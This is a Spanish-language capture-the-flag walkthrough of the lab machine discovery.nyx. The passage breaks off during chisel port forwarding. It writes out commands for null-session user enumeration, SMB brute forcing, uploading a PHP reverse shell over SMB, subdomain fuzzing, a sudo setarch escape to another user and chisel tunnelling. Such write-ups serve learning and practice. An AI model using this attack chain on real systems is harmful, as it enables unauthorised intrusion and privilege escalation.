Hacemos el escaneo con nmap:
{{pasted_image_20231229113216.png|}}
Hay una herramienta llamada rpcclient que nos permite enumerar usuarios existentes dentro de la máquina víctima si vemos que tiene abierto el puerto 445:
rpcclient -U "" -N 192.168.0.54
querydispinfo and enumdomusers
{{pasted_image_20231229113412.png|}}
También añadimos el posible dominio de discovery.nyx:
{{pasted_image_20231229120624.png|}}
Y vemos que funciona:
{{pasted_image_20231229120309.png|}}
Ahora que tenemos dos usuarios, probamos en hacer un ataque de fuerza bruta con estos usuarios dentro de SMB en busca de alguna contraseña con hydra o metasploit:
{{pasted_image_20231229114418.png|}}
Una vez tenemos las credenciales, podemos acceder a los recursos compartidos con smbmap de forma autenticada:
smbmap -u "ken" -p "kenken" -H 192.168.0.54
{{pasted_image_20231229114808.png|}}
Si accedemos el recurso de ken, donde tenemos permisos de escritura y lectura, nos encontramos con un index.html:
smbmap -u "ken" -p "kenken" -H 192.168.0.54 -r ken
{{pasted_image_20231229114903.png|}}
Y suponemos que este index.html está conectado con el navegador:
{{pasted_image_20231229114940.png|}}
En este punto, podemos probar en subir una webshell pero no conecta, y si hacemos fuzzing por este puerto 80 tampoco encontramos nada, por lo que pasamos a enumerar el puerto 81, que es igual al 80:
{{pasted_image_20231229115246.png|}}
Y vemos el directorio under_construction:
{{pasted_image_20231229115313.png|}}
Pero no tenemos acceso:
{{pasted_image_20231229120341.png|}}
Una vez en este punto, probamos en realizar distintas peticiones HTTP y con curl mediante el método POST podemos encontrar un dominio nuevo:
curl -X POST "http://discover.nyx:81/under_construction/"
{{pasted_image_20231229120832.png|}}
Lo añadimos al /etc/hosts:
{{pasted_image_20231229121620.png|}}
Y ahora con smbclient subimos una weverse shell en php para intentar probar si el subdominio de todiscover.nyx interpreta la webshell:
smbclient //192.168.0.54/ken -U ken%kenken -c "put pwned.php"
Y con smbmap comprobamos que se ha subido:
{{pasted_image_20231229121337.png|}}
Pero vemos que no:
http://todiscover.nyx/pwned.php
{{pasted_image_20231229121649.png|}}
Pero podemos probar en hacer una búqeda de subdominios dentro del todiscover y apuntando contra el archivo que hemos subido anteriormente:
wfuzz -c --hc=404 --hl=7 -X POST -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.todiscover.nyx" -u "http://todiscover.nyx/pwned.php"
{{pasted_image_20231229122345.png|}}
Y al tener este nuevo subdominio de smbc, podemos probar si este dominio interpreta nuestro archivo malicioso en php:
{{pasted_image_20231229122539.png|}}
http://smbc.todiscover.nyx/pwned.php
Accedemos desde el navegador:
{{pasted_image_20231229122601.png|}}
Y recibimos la reverse shell:
{{pasted_image_20231229122614.png|}}
Y al ejecutar sudo -l nos encontramos con este binario:
{{pasted_image_20231229122914.png|}}
Investigamos el binario de setarch en gtfobins y vemos como utilizarlo para pivotar al usuario takeshi en este caso:
{{pasted_image_20231229122953.png|}}
sudo -u takeshi /usr/bin/setarch $(arch) /bin/sh
Y somos el usuario takeshi:
{{pasted_image_20231229123042.png|}}
Y ahora si ejecutamos otra vez sudo -l nos encontramos con que podemos ejecutar pydoc3 como sudo:
{{pasted_image_20231229123123.png|}}
Al ejecutarlo vemos estas instrucciones:
{{pasted_image_20231229123148.png|}}
Si levantamos un servidor HTTP con este binario, vemos que se levanta pero en local:
{{pasted_image_20231229123614.png|}}
Por tanto tenemos que traernos este puerto a la máquina atacante con chisel, por lo que lo descargamos:
{{pasted_image_20231229123809.png|}}
Y lo compartimos con la máquina víctima:
{{pasted_image_20231229123821.png|}}
{{pasted_image_20231229123830.png|}}
Una vez hecho esto, ejecutamos chisel en la máquina atacante para estar a la escucha:
chisel server --reverse -p 8888
{{pasted_image_20231229124010.png|}}
Y ahora en la máquina víctima, ejecutamos primero el comando para levantar el servicio y después aplicamos un operador lógico && para hacer el port forwarding con chisel: